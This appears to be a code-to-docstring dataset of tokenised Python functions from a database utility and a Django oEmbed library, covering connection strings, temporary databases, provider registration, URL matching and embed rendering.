{"signature": "def connection_url(self, name=None):", "body": "return '<STR_LIT>'.format(**{k: v for k, v in self._connect_options(name)})<EOL>", "docstring": "Provides a connection string for database as a sqlalchemy compatible URL.\n\nNB - this doesn't include special arguments related to SSL connectivity (which are outside the scope\nof the connection URL format).\n\nParameters\n----------\nname: str, optional\n    an override database name for the connection string.\n\nReturns\n-------\nstr: the connection URL (e.g. postgresql://user1@localhost:5432/db1)", "id": "f2908:c0:m17"}
{"signature": "def shell(self, expect=pexpect):", "body": "dsn = self.connection_dsn()<EOL>log.debug('<STR_LIT>' % dsn)<EOL>child = expect.spawn('<STR_LIT>' % dsn)<EOL>if self._connect_args['<STR_LIT:password>'] is not None:<EOL><INDENT>child.expect('<STR_LIT>')<EOL>child.sendline(self._connect_args['<STR_LIT:password>'])<EOL><DEDENT>child.interact()<EOL>", "docstring": "Connects the database client shell to the database.\n\nParameters\n----------\nexpect_module: str\n    the database to which backup will be restored.", "id": "f2908:c0:m18"}
{"signature": "def settings(self):", "body": "stmt = \"<STR_LIT>\".format(fields='<STR_LIT:U+002CU+0020>'.join(SETTINGS_FIELDS))<EOL>settings = []<EOL>for row in self._iter_results(stmt):<EOL><INDENT>row['<STR_LIT>'] = self._vartype_map[row['<STR_LIT>']](row['<STR_LIT>'])<EOL>settings.append(Settings(**row))<EOL><DEDENT>return settings<EOL>", "docstring": "Returns settings from the server.", "id": "f2908:c0:m19"}
{"signature": "def temp_name():", "body": "return '<STR_LIT>' + str(uuid.uuid4()).replace('<STR_LIT:->', '<STR_LIT>')<EOL>", "docstring": "Returns a \"safe\" (globally unique) name that avoids clashes\nwith existing names.", "id": "f2910:m0"}
{"signature": "@contextmanager<EOL>def temp_db(db, name=None):", "body": "if name is None:<EOL><INDENT>name = temp_name()<EOL><DEDENT>db.create(name)<EOL>if not db.exists(name):<EOL><INDENT>raise DatabaseError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>yield name<EOL><DEDENT>finally:<EOL><INDENT>db.drop(name)<EOL>if db.exists(name):<EOL><INDENT>raise DatabaseError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "A context manager that creates a temporary database.\n\nUseful for automated tests.\n\nParameters\n----------\ndb: object\n    a preconfigured DB object\nname: str, optional\n    name of the database to be created. (default: globally unique name)", "id": "f2910:m1"}
{"signature": "def request_resource(self, url, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Get an OEmbedResource from one of the providers configured in this \nprovider according to the resource url.\n\nArgs:\n    url: The url of the resource to get.\n    format: Desired response format (json or xml).\n    **kwargs: Optional parameters to pass in to the provider.\n\nReturns:\n    OEmbedResource object.\n\nIf no object returned, raises OEmbedException", "id": "f2914:c0:m0"}
{"signature": "def _fetch(self, url):", "body": "return fetch_url(url)<EOL>", "docstring": "Fetches from a URL, respecting GZip encoding, etc.\n\nReturns an OEmbedResource instance", "id": "f2914:c1:m2"}
{"signature": "def request_resource(self, url, **kwargs):", "body": "params = kwargs<EOL>params['<STR_LIT:url>'] = url<EOL>params['<STR_LIT>'] = '<STR_LIT>'<EOL>if '<STR_LIT:?>' in self.endpoint_url:<EOL><INDENT>url_with_qs = '<STR_LIT>' % (self.endpoint_url.rstrip('<STR_LIT:&>'), urlencode(params))<EOL><DEDENT>else:<EOL><INDENT>url_with_qs = \"<STR_LIT>\" % (self.endpoint_url, urlencode(params))<EOL><DEDENT>headers, raw_response = self._fetch(url_with_qs)<EOL>resource = self.convert_to_resource(headers, raw_response, params)<EOL>return resource<EOL>", "docstring": "Request an OEmbedResource for a given url.  Some valid keyword args:\n- format\n- maxwidth\n- maxheight", "id": "f2914:c1:m4"}
{"signature": "def _image_field(self):", "body": "for field in self.model._meta.fields:<EOL><INDENT>if isinstance(field, ImageField):<EOL><INDENT>return field.name<EOL><DEDENT><DEDENT>", "docstring": "Try to automatically detect an image field", "id": "f2914:c2:m2"}
{"signature": "def _date_field(self):", "body": "for field in self.model._meta.fields:<EOL><INDENT>if isinstance(field, (DateTimeField, DateField)):<EOL><INDENT>return field.name<EOL><DEDENT><DEDENT>", "docstring": "Try to automatically detect an image field", "id": "f2914:c2:m3"}
{"signature": "def __new__(cls, name, bases, attrs):", "body": "<EOL>meta = attrs.pop('<STR_LIT:Meta>', None)<EOL>provider_class = super(DjangoProviderMetaclass, cls).__new__(<EOL>cls, name, bases, attrs)<EOL>for b in bases:<EOL><INDENT>base_meta = getattr(b, '<STR_LIT>', None)<EOL>if not base_meta:<EOL><INDENT>continue<EOL><DEDENT>for (k, v) in base_meta.__dict__.items():<EOL><INDENT>if not k.startswith('<STR_LIT:_>') and k != '<STR_LIT>' and k not in meta.__dict__:<EOL><INDENT>meta.__dict__[k] = v<EOL><DEDENT><DEDENT><DEDENT>if meta:<EOL><INDENT>_meta = DjangoProviderOptions(meta, provider_class)<EOL>provider_class._meta = _meta<EOL><DEDENT>return provider_class<EOL>", "docstring": "Provides namespacing of Meta options", "id": "f2914:c3:m0"}
{"signature": "def _build_regex(self):", "body": "<EOL>url_patterns = resolver.reverse_dict.get(self._meta.named_view)<EOL>try:<EOL><INDENT>regex = url_patterns[<NUM_LIT:1>]<EOL><DEDENT>except TypeError:<EOL><INDENT>raise OEmbedException('<STR_LIT>' % self._meta.named_view)<EOL><DEDENT>cleaned_sites = self.get_cleaned_sites()<EOL>site_regexes = []<EOL>for site in self.get_sites():<EOL><INDENT>site_regexes.append(cleaned_sites[site.pk][<NUM_LIT:0>])<EOL><DEDENT>sites = '<STR_LIT:|>'.join(site_regexes)<EOL>regex = re.compile('<STR_LIT>' % (sites, regex))<EOL>return regex<EOL>", "docstring": "Performs a reverse lookup on a named view and generates\na list of regexes that match that object.  It generates\nregexes with the domain name included, using sites provided\nby the get_sites() method.\n\n>>> regex = provider.regex\n>>> regex.pattern\n'http://(www2.kusports.com|www2.ljworld.com|www.lawrence.com)/photos/(?P<year>\\\\d{4})/(?P<month>\\\\w{3})/(?P<day>\\\\d{1,2})/(?P<object_id>\\\\d+)/$'", "id": "f2914:c4:m2"}
{"signature": "def get_sites(self):", "body": "return Site.objects.all()<EOL>", "docstring": "Return sites whose domains should be checked against", "id": "f2914:c4:m3"}
{"signature": "def get_cleaned_sites(self):", "body": "if not getattr(self, '<STR_LIT>', None):<EOL><INDENT>self._clean_sites = cleaned_sites()<EOL><DEDENT>return self._clean_sites<EOL>", "docstring": "Attribute-caches the sites/regexes returned by\n`oembed.utils.cleaned_sites`", "id": "f2914:c4:m4"}
{"signature": "def provider_from_url(self, url):", "body": "domain = get_domain(url)<EOL>site_tuples = self.get_cleaned_sites().values()<EOL>for domain_re, name, normalized_domain in site_tuples:<EOL><INDENT>if re.match(domain_re, domain):<EOL><INDENT>return normalized_domain, name<EOL><DEDENT><DEDENT>site = Site.objects.get_current()<EOL>return site.domain, site.name<EOL>", "docstring": "Given a URL for any of our sites, try and match it to one, returning\nthe domain & name of the match.  If no match is found, return current.\n\nReturns a tuple of domain, site name -- used to determine 'provider'", "id": "f2914:c4:m5"}
{"signature": "def get_params(self, url):", "body": "match = re.match(self.regex, url)<EOL>if match is not None:<EOL><INDENT>params = match.groupdict()<EOL>if not params:<EOL><INDENT>params = {}<EOL>for i, group in enumerate(match.groups()[<NUM_LIT:1>:]):<EOL><INDENT>params['<STR_LIT>' % i] = group<EOL><DEDENT><DEDENT>return params<EOL><DEDENT>raise OEmbedException('<STR_LIT>' % (url))<EOL>", "docstring": "Extract the named parameters from a url regex.  If the url regex does not contain\nnamed parameters, they will be keyed _0, _1, ...\n\n* Named parameters\nRegex:\n/photos/^(?P<year>\\d{4})/(?P<month>\\w{3})/(?P<day>\\d{1,2})/(?P<object_id>\\d+)/\n\nURL:\nhttp://www2.ljworld.com/photos/2009/oct/11/12345/\n\nReturn Value:\n{u'day': '11', u'month': 'oct', u'object_id': '12345', u'year': '2009'}\n\n* Unnamed parameters\nRegex:\n/blah/([\\w-]+)/(\\d+)/\n\nURL:\nhttp://www.example.com/blah/hello/123/\n\nReturn Value:\n{u'_0': 'hello', u'_1': '123'}", "id": "f2914:c4:m6"}
{"signature": "def get_object(self, url):", "body": "params = self.get_params(url)<EOL>query = {}<EOL>for key, value in self._meta.fields_to_match.iteritems():<EOL><INDENT>try:<EOL><INDENT>query[value] = params[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise OEmbedException('<STR_LIT>' % (key, '<STR_LIT:U+002CU+0020>'.join(params.keys())))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>obj = self.get_queryset().get(**query)<EOL><DEDENT>except self._meta.model.DoesNotExist:<EOL><INDENT>raise OEmbedException('<STR_LIT>')<EOL><DEDENT>return obj<EOL>", "docstring": "Fields to match is a mapping of url params to fields, so for\nthe photos example above, it would be:\n\nfields_to_match = { 'object_id': 'id' }\n\nThis procedure parses out named params from a URL and then uses\nthe fields_to_match dictionary to generate a query.", "id": "f2914:c4:m8"}
{"signature": "def render_html(self, obj, context=None):", "body": "provided_context = context or Context()<EOL>context = RequestContext(mock_request())<EOL>context.update(provided_context)<EOL>context.push()<EOL>context[self._meta.context_varname] = obj<EOL>rendered = render_to_string(self._meta.template_name, context)<EOL>context.pop()<EOL>return rendered<EOL>", "docstring": "Generate the 'html' attribute of an oembed resource using a template.\nSort of a corollary to the parser's render_oembed method.  By default,\nthe current mapping will be passed in as the context.\n\nOEmbed templates are stored in:\n\noembed/provider/[app_label]_[model].html\n\n-- or --\n\noembed/provider/media_video.html", "id": "f2914:c4:m9"}
{"signature": "def map_attr(self, mapping, attr, obj):", "body": "if attr not in mapping and hasattr(self, attr):<EOL><INDENT>if not callable(getattr(self, attr)):<EOL><INDENT>mapping[attr] = getattr(self, attr)<EOL><DEDENT>else:<EOL><INDENT>mapping[attr] = getattr(self, attr)(obj)<EOL><DEDENT><DEDENT>", "docstring": "A kind of cheesy method that allows for callables or attributes to\nbe used interchangably", "id": "f2914:c4:m10"}
{"signature": "def get_image(self, obj):", "body": "if self._meta.image_field:<EOL><INDENT>return getattr(obj, self._meta.image_field)<EOL><DEDENT>", "docstring": "Return an ImageFileField instance", "id": "f2914:c4:m11"}
{"signature": "def resize(self, image_field, new_width=None, new_height=None):", "body": "if isinstance(image_field, ImageFieldFile) andimage_field.field.width_field andimage_field.field.height_field:<EOL><INDENT>current_width = getattr(image_field.instance, image_field.field.width_field)<EOL>current_height = getattr(image_field.instance, image_field.field.height_field)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>file_obj = storage.default_storage.open(image_field.name, '<STR_LIT:rb>')<EOL>img_obj = Image.open(file_obj)<EOL>current_width, current_height = img_obj.size<EOL><DEDENT>except IOError:<EOL><INDENT>return (image_field.url, <NUM_LIT:0>, <NUM_LIT:0>) <EOL><DEDENT><DEDENT>if current_width < new_width:<EOL><INDENT>if not new_height or current_height < new_height:<EOL><INDENT>return (image_field.url, current_width, current_height)<EOL><DEDENT><DEDENT>new_width, new_height = scale(current_width, current_height, new_width, new_height)<EOL>return self._meta.image_processor.resize(image_field, new_width, new_height)<EOL>", "docstring": "Resize an image to the 'best fit' width & height, maintaining\nthe scale of the image, so a 500x500 image sized to 300x400\nwill actually be scaled to 300x300.\n\nParams:\nimage: ImageFieldFile to be resized (i.e. model.image_field)\nnew_width & new_height: desired maximums for resizing\n\nReturns:\nthe url to the new image and the new width & height\n(http://path-to-new-image, 300, 300)", "id": "f2914:c4:m12"}
{"signature": "def preprocess(self, obj, mapping, **kwargs):", "body": "pass<EOL>", "docstring": "Pre-processing hook.  Called by map_to_dictionary()", "id": "f2914:c4:m15"}
{"signature": "def postprocess(self, obj, mapping, **kwargs):", "body": "pass<EOL>", "docstring": "Post-processing hook.  Called by map_to_dictionary()", "id": "f2914:c4:m16"}
{"signature": "def map_to_dictionary(self, url, obj, **kwargs):", "body": "maxwidth = kwargs.get('<STR_LIT>', None)<EOL>maxheight = kwargs.get('<STR_LIT>', None)<EOL>provider_url, provider_name = self.provider_from_url(url)<EOL>mapping = {<EOL>'<STR_LIT:version>': '<STR_LIT:1.0>',<EOL>'<STR_LIT:url>': url,<EOL>'<STR_LIT>': provider_name,<EOL>'<STR_LIT>': provider_url,<EOL>'<STR_LIT:type>': self.resource_type<EOL>}<EOL>self.preprocess(obj, mapping, **kwargs)<EOL>if self.resource_type == '<STR_LIT>' and self.get_image(obj):<EOL><INDENT>self.resize_photo(obj, mapping, maxwidth, maxheight)<EOL><DEDENT>elif self.resource_type in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>width, height = size_to_nearest(<EOL>maxwidth,<EOL>maxheight,<EOL>self._meta.valid_sizes,<EOL>self._meta.force_fit<EOL>)<EOL>mapping.update(width=width, height=height)<EOL><DEDENT>if self.get_image(obj):<EOL><INDENT>self.thumbnail(obj, mapping)<EOL><DEDENT>for attr in ('<STR_LIT:title>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:html>'):<EOL><INDENT>self.map_attr(mapping, attr, obj)<EOL><DEDENT>if '<STR_LIT:url>' in mapping:<EOL><INDENT>mapping['<STR_LIT:url>'] = relative_to_full(mapping['<STR_LIT:url>'], url)<EOL><DEDENT>if '<STR_LIT>' in mapping:<EOL><INDENT>mapping['<STR_LIT>'] = relative_to_full(mapping['<STR_LIT>'], url)<EOL><DEDENT>if '<STR_LIT:html>' not in mapping and mapping['<STR_LIT:type>'] in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>mapping['<STR_LIT:html>'] = self.render_html(obj, context=Context(mapping))<EOL><DEDENT>self.postprocess(obj, mapping, **kwargs)<EOL>return mapping<EOL>", "docstring": "Build a dictionary of metadata for the requested object.", "id": "f2914:c4:m17"}
{"signature": "def request_resource(self, url, **kwargs):", "body": "obj = self.get_object(url)<EOL>mapping = self.map_to_dictionary(url, obj, **kwargs)<EOL>resource = OEmbedResource.create(mapping)<EOL>resource.content_object = obj<EOL>return resource<EOL>", "docstring": "Request an OEmbedResource for a given url.  Some valid keyword args:\n- format\n- maxwidth\n- maxheight", "id": "f2914:c4:m18"}
{"signature": "def get_object(self, url, month_format='<STR_LIT>', day_format='<STR_LIT>'):", "body": "params = self.get_params(url)<EOL>try:<EOL><INDENT>year = params[self._meta.year_part]<EOL>month = params[self._meta.month_part]<EOL>day = params[self._meta.day_part]<EOL><DEDENT>except KeyError:<EOL><INDENT>try:<EOL><INDENT>year, month, day = params['<STR_LIT>'], params['<STR_LIT>'], params['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise OEmbedException('<STR_LIT>')<EOL><DEDENT><DEDENT>try:<EOL><INDENT>tt = time.strptime('<STR_LIT>' % (year, month, day),<EOL>'<STR_LIT>' % ('<STR_LIT>', month_format, day_format))<EOL>date = datetime.date(*tt[:<NUM_LIT:3>])<EOL><DEDENT>except ValueError:<EOL><INDENT>raise OEmbedException('<STR_LIT>' % url)<EOL><DEDENT>if isinstance(self._meta.model._meta.get_field(self._meta.date_field), DateTimeField):<EOL><INDENT>min_date = datetime.datetime.combine(date, datetime.time.min)<EOL>max_date = datetime.datetime.combine(date, datetime.time.max)<EOL>query = {'<STR_LIT>' % self._meta.date_field: (min_date, max_date)}<EOL><DEDENT>else:<EOL><INDENT>query = {self._meta.date_field: date}<EOL><DEDENT>for key, value in self._meta.fields_to_match.iteritems():<EOL><INDENT>try:<EOL><INDENT>query[value] = params[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise OEmbedException('<STR_LIT>' % (key, '<STR_LIT:U+002CU+0020>'.join(params.keys())))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>obj = self.get_queryset().get(**query)<EOL><DEDENT>except self._meta.model.DoesNotExist:<EOL><INDENT>raise OEmbedException('<STR_LIT>')<EOL><DEDENT>return obj<EOL>", "docstring": "Parses the date from a url and uses it in the query.  For objects which\nare unique for date.", "id": "f2914:c5:m1"}
{"signature": "def setUp(self):", "body": "super(ConsumerTestCase, self).setUp()<EOL>self.oembed_client = OEmbedConsumer()<EOL>", "docstring": "Set up test environment", "id": "f2923:c0:m0"}
{"signature": "def setUp(self):", "body": "<EOL>oembed.autodiscover()<EOL>oembed.site._db_updated = None<EOL>self.storage = DummyMemoryStorage()<EOL>self.orig_default_storage = storage.default_storage<EOL>storage.default_storage = self.storage<EOL>self.media_root, self.media_url = settings.MEDIA_ROOT, settings.MEDIA_URL<EOL>settings.MEDIA_ROOT = MEDIA_ROOT<EOL>settings.MEDIA_URL = MEDIA_URL<EOL>self.template_dirs = settings.TEMPLATE_DIRS<EOL>cur_dir = os.path.dirname(__file__)<EOL>settings.TEMPLATE_DIRS = [os.path.join(os.path.dirname(cur_dir), '<STR_LIT>')]<EOL>self.orig_file_storage = settings.DEFAULT_FILE_STORAGE<EOL>settings.DEFAULT_FILE_STORAGE = DEFAULT_FILE_STORAGE<EOL>test_image = Image.new('<STR_LIT>', (<NUM_LIT>, <NUM_LIT>), (<NUM_LIT:255>, <NUM_LIT:255>, <NUM_LIT:255>, <NUM_LIT:255>))<EOL>self.test_img_buffer = StringIO()<EOL>test_image.save(self.test_img_buffer, '<STR_LIT>')<EOL>self.test_img_file = ContentFile(self.test_img_buffer.getvalue())<EOL>self.test_img_location = '<STR_LIT>'<EOL>storage.default_storage.save(self.test_img_location, self.test_img_file)<EOL>", "docstring": "Set up test environment", "id": "f2925:c0:m0"}
{"signature": "@register.filter<EOL>def extract_oembeds(text, args=None):", "body": "resource_type = width = height = None<EOL>if args:<EOL><INDENT>dimensions = args.lower().split('<STR_LIT:x>')<EOL>if len(dimensions) in (<NUM_LIT:3>, <NUM_LIT:1>):<EOL><INDENT>resource_type = dimensions.pop()<EOL><DEDENT>if len(dimensions) == <NUM_LIT:2>:<EOL><INDENT>width, height = map(lambda x: int(x), dimensions)<EOL><DEDENT><DEDENT>client = OEmbedConsumer()<EOL>return client.extract(text, width, height, resource_type)<EOL>", "docstring": "Extract oembed resources from a block of text.  Returns a list\nof dictionaries.\n\nMax width & height can be specified:\n{% for embed in block_of_text|extract_oembeds:\"400x300\" %}\n\nResource type can be specified:\n{% for photo_embed in block_of_text|extract_oembeds:\"photo\" %}\n\nOr both:\n{% for embed in block_of_text|extract_oembeds:\"400x300xphoto\" %}", "id": "f2937:m1"}
{"signature": "@register.filter<EOL>def strip_oembeds(text, args=None):", "body": "resource_type = width = height = None<EOL>if args:<EOL><INDENT>dimensions = args.lower().split('<STR_LIT:x>')<EOL>if len(dimensions) in (<NUM_LIT:3>, <NUM_LIT:1>):<EOL><INDENT>resource_type = dimensions.pop()<EOL><DEDENT>if len(dimensions) == <NUM_LIT:2>:<EOL><INDENT>width, height = map(lambda x: int(x), dimensions)<EOL><DEDENT><DEDENT>client = OEmbedConsumer()<EOL>return mark_safe(client.strip(text, width, height, resource_type))<EOL>", "docstring": "Take a block of text and strip all the embeds from it, optionally taking\na maxwidth, maxheight / resource_type\n\nUsage:\n{{ post.content|strip_embeds }}\n\n{{ post.content|strip_embeds:\"600x600xphoto\" }}\n\n{{ post.content|strip_embeds:\"video\" }}", "id": "f2937:m2"}
{"signature": "def do_oembed(parser, token):", "body": "args = token.split_contents()<EOL>template_dir = None<EOL>var_name = None<EOL>if len(args) > <NUM_LIT:2>:<EOL><INDENT>if len(args) == <NUM_LIT:3> and args[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>template_dir = args[<NUM_LIT:2>]<EOL><DEDENT>elif len(args) == <NUM_LIT:3> and args[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>var_name = args[<NUM_LIT:2>]<EOL><DEDENT>elif len(args) == <NUM_LIT:4> and args[<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>template_dir = args[<NUM_LIT:3>]<EOL><DEDENT>elif len(args) == <NUM_LIT:4> and args[<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>var_name = args[<NUM_LIT:3>]<EOL><DEDENT>elif len(args) == <NUM_LIT:6> and args[<NUM_LIT:4>] == '<STR_LIT>':<EOL><INDENT>template_dir = args[<NUM_LIT:3>]<EOL>var_name = args[<NUM_LIT:5>]<EOL><DEDENT>else:<EOL><INDENT>raise template.TemplateSyntaxError(\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\")<EOL><DEDENT>if template_dir:<EOL><INDENT>if not (template_dir[<NUM_LIT:0>] == template_dir[-<NUM_LIT:1>] and template_dir[<NUM_LIT:0>] in ('<STR_LIT:\">', \"<STR_LIT:'>\")):<EOL><INDENT>raise template.TemplateSyntaxError(\"<STR_LIT>\")<EOL><DEDENT>template_dir = template_dir[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if len(args) >= <NUM_LIT:2> and '<STR_LIT:x>' in args[<NUM_LIT:1>]:<EOL><INDENT>width, height = args[<NUM_LIT:1>].lower().split('<STR_LIT:x>')<EOL>if not width and height:<EOL><INDENT>raise template.TemplateSyntaxError(\"<STR_LIT>\"\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>width, height = None, None<EOL><DEDENT>nodelist = parser.parse(('<STR_LIT>',))<EOL>parser.delete_first_token()<EOL>return OEmbedNode(nodelist, width, height, template_dir, var_name)<EOL>", "docstring": "A node which parses everything between its two nodes, and replaces any links\nwith OEmbed-provided objects, if possible.\n\nSupports two optional argument, which is the maximum width and height,\nspecified like so:\n\n{% oembed 640x480 %}http://www.viddler.com/explore/SYSTM/videos/49/{% endoembed %}\n\nand or the name of a sub tempalte directory to render templates from:\n\n{% oembed 320x240 in \"comments\" %}http://www.viddler.com/explore/SYSTM/videos/49/{% endoembed %}\n\nor:\n\n{% oembed in \"comments\" %}http://www.viddler.com/explore/SYSTM/videos/49/{% endoembed %}\n\neither of those will render templates in oembed/comments/oembedtype.html\n\nAdditionally, you can specify a context variable to drop the rendered text in:\n\n{% oembed 600x400 in \"comments\" as var_name %}...{% endoembed %}\n{% oembed as var_name %}...{% endoembed %}", "id": "f2937:m3"}
{"signature": "def do_autodiscover(parser, token):", "body": "args = token.split_contents()<EOL>if len(args) != <NUM_LIT:2>:<EOL><INDENT>raise template.TemplateSyntaxError('<STR_LIT>' % args[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>obj = args[<NUM_LIT:1>]<EOL><DEDENT>return OEmbedAutodiscoverNode(obj)<EOL>", "docstring": "Generates a &lt;link&gt; tag with oembed autodiscovery bits for an object.\n\n{% oembed_autodiscover video %}", "id": "f2937:m4"}
{"signature": "def do_url_scheme(parser, token):", "body": "args = token.split_contents()<EOL>if len(args) != <NUM_LIT:1>:<EOL><INDENT>raise template.TemplateSyntaxError('<STR_LIT>' % args[<NUM_LIT:0>])<EOL><DEDENT>return OEmbedURLSchemeNode()<EOL>", "docstring": "Generates a &lt;link&gt; tag with oembed autodiscovery bits.\n\n{% oembed_url_scheme %}", "id": "f2937:m5"}
{"signature": "def extract_oembeds(self, text, maxwidth=None, maxheight=None, resource_type=None):", "body": "parser = text_parser()<EOL>urls = parser.extract_urls(text)<EOL>return self.handle_extracted_urls(urls, maxwidth, maxheight, resource_type)<EOL>", "docstring": "Scans a block of text and extracts oembed data on any urls,\nreturning it in a list of dictionaries", "id": "f2939:c0:m4"}
{"signature": "def strip(self, text, *args, **kwargs):", "body": "if OEMBED_DEFAULT_PARSE_HTML:<EOL><INDENT>extracted = self.extract_oembeds_html(text, *args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>extracted = self.extract_oembeds(text, *args, **kwargs)<EOL><DEDENT>matches = [r['<STR_LIT>'] for r in extracted]<EOL>match_handler = lambda m: m.group() not in matches and m.group() or '<STR_LIT>'<EOL>return re.sub(URL_RE, match_handler, text)<EOL>", "docstring": "Try to maintain parity with what is extracted by extract since strip\nwill most likely be used in conjunction with extract", "id": "f2939:c0:m7"}
{"signature": "def json(request, *args, **kwargs):", "body": "<EOL>params = dict(list(request.GET.items()))<EOL>callback = params.pop('<STR_LIT>', None)<EOL>url = params.pop('<STR_LIT:url>', None)<EOL>if not url:<EOL><INDENT>return HttpResponseBadRequest('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>provider = oembed.site.provider_for_url(url)<EOL>if not provider.provides:<EOL><INDENT>raise OEmbedMissingEndpoint()<EOL><DEDENT><DEDENT>except OEmbedMissingEndpoint:<EOL><INDENT>raise Http404('<STR_LIT>' % url)<EOL><DEDENT>query = dict([(smart_str(k), smart_str(v)) for k, v in list(params.items()) if v])<EOL>try:<EOL><INDENT>resource = oembed.site.embed(url, **query)<EOL><DEDENT>except OEmbedException as e:<EOL><INDENT>raise Http404('<STR_LIT>' % (url, str(e)))<EOL><DEDENT>response = HttpResponse(mimetype='<STR_LIT:application/json>')<EOL>json = resource.json<EOL>if callback:<EOL><INDENT>response.write('<STR_LIT>' % (defaultfilters.force_escape(callback), json))<EOL><DEDENT>else:<EOL><INDENT>response.write(json)<EOL><DEDENT>return response<EOL>", "docstring": "The oembed endpoint, or the url to which requests for metadata are passed.\nThird parties will want to access this view with URLs for your site's\ncontent and be returned OEmbed metadata.", "id": "f2940:m0"}
{"signature": "def consume_json(request):", "body": "client = OEmbedConsumer()<EOL>urls = request.GET.getlist('<STR_LIT>')<EOL>width = request.GET.get('<STR_LIT:width>')<EOL>height = request.GET.get('<STR_LIT>')<EOL>template_dir = request.GET.get('<STR_LIT>')<EOL>output = {}<EOL>ctx = RequestContext(request)<EOL>for url in urls:<EOL><INDENT>try:<EOL><INDENT>provider = oembed.site.provider_for_url(url)<EOL><DEDENT>except OEmbedMissingEndpoint:<EOL><INDENT>oembeds = None<EOL>rendered = None<EOL><DEDENT>else:<EOL><INDENT>oembeds = url<EOL>rendered = client.parse_text(url, width, height, context=ctx, template_dir=template_dir)<EOL><DEDENT>output[url] = {<EOL>'<STR_LIT>': oembeds,<EOL>'<STR_LIT>': rendered,<EOL>}<EOL><DEDENT>return HttpResponse(simplejson.dumps(output), mimetype='<STR_LIT:application/json>')<EOL>", "docstring": "Extract and return oembed content for given urls.\n\nRequired GET params:\n    urls - list of urls to consume\n\nOptional GET params:\n    width - maxwidth attribute for oembed content\n    height - maxheight attribute for oembed content\n    template_dir - template_dir to use when rendering oembed\n\nReturns:\n    list of dictionaries with oembed metadata and renderings, json encoded", "id": "f2940:m1"}
{"signature": "def oembed_schema(request):", "body": "current_domain = Site.objects.get_current().domain<EOL>url_schemes = [] <EOL>endpoint = reverse('<STR_LIT>') <EOL>providers = oembed.site.get_providers()<EOL>for provider in providers:<EOL><INDENT>if not provider.provides:<EOL><INDENT>continue<EOL><DEDENT>match = None<EOL>if isinstance(provider, DjangoProvider):<EOL><INDENT>url_pattern = resolver.reverse_dict.get(provider._meta.named_view)<EOL>if url_pattern:<EOL><INDENT>regex = re.sub(r'<STR_LIT>', '<STR_LIT:*>', url_pattern[<NUM_LIT:0>][<NUM_LIT:0>][<NUM_LIT:0>])<EOL>match = '<STR_LIT>' % (current_domain, regex)<EOL><DEDENT><DEDENT>elif isinstance(provider, HTTPProvider):<EOL><INDENT>match = provider.url_scheme<EOL><DEDENT>else:<EOL><INDENT>match = provider.regex<EOL><DEDENT>if match:<EOL><INDENT>url_schemes.append({<EOL>'<STR_LIT:type>': provider.resource_type,<EOL>'<STR_LIT>': match,<EOL>'<STR_LIT>': endpoint<EOL>})<EOL><DEDENT><DEDENT>url_schemes.sort(key=lambda item: item['<STR_LIT>'])<EOL>response = HttpResponse(mimetype='<STR_LIT:application/json>')<EOL>response.write(simplejson.dumps(url_schemes))<EOL>return response<EOL>", "docstring": "A site profile detailing valid endpoints for a given domain.  Allows for\nbetter auto-discovery of embeddable content.\n\nOEmbed-able content lives at a URL that maps to a provider.", "id": "f2940:m2"}
{"signature": "def register(self, provider_class):", "body": "if not issubclass(provider_class, BaseProvider):<EOL><INDENT>raise TypeError('<STR_LIT>' % provider_class.__name__)<EOL><DEDENT>if provider_class in self._registered_providers:<EOL><INDENT>raise AlreadyRegistered('<STR_LIT>' % provider_class.__name__)<EOL><DEDENT>if issubclass(provider_class, DjangoProvider):<EOL><INDENT>signals.post_save.connect(<EOL>self.invalidate_stored_oembeds,<EOL>sender=provider_class._meta.model<EOL>)<EOL><DEDENT>self._registered_providers.append(provider_class)<EOL>self.invalidate_providers()<EOL>", "docstring": "Registers a provider with the site.", "id": "f2942:c0:m3"}
{"signature": "def unregister(self, provider_class):", "body": "if not issubclass(provider_class, BaseProvider):<EOL><INDENT>raise TypeError('<STR_LIT>' % provider_class.__name__)<EOL><DEDENT>if provider_class not in self._registered_providers:<EOL><INDENT>raise NotRegistered('<STR_LIT>' % provider_class.__name__)<EOL><DEDENT>self._registered_providers.remove(provider_class)<EOL>self.invalidate_providers()<EOL>", "docstring": "Unregisters a provider from the site.", "id": "f2942:c0:m4"}
{"signature": "def populate(self):", "body": "self._registry = {}<EOL>for provider_class in self._registered_providers:<EOL><INDENT>instance = provider_class()<EOL>self._registry[instance] = instance.regex<EOL><DEDENT>for stored_provider in StoredProvider.objects.active():<EOL><INDENT>self._registry[stored_provider] = stored_provider.regex<EOL><DEDENT>self._populated = True<EOL>", "docstring": "Populate the internal registry's dictionary with the regexes for each\nprovider instance", "id": "f2942:c0:m5"}
{"signature": "def ensure_populated(self):", "body": "if not self._populated:<EOL><INDENT>self.populate()<EOL><DEDENT>", "docstring": "Ensure not only that the internal registry of Python-class providers is\npopulated, but also make sure the cached queryset of database-providers\nis up-to-date", "id": "f2942:c0:m6"}
{"signature": "def get_registry(self):", "body": "self.ensure_populated()<EOL>return self._registry<EOL>", "docstring": "Return a dictionary of {provider_instance: regex}", "id": "f2942:c0:m7"}
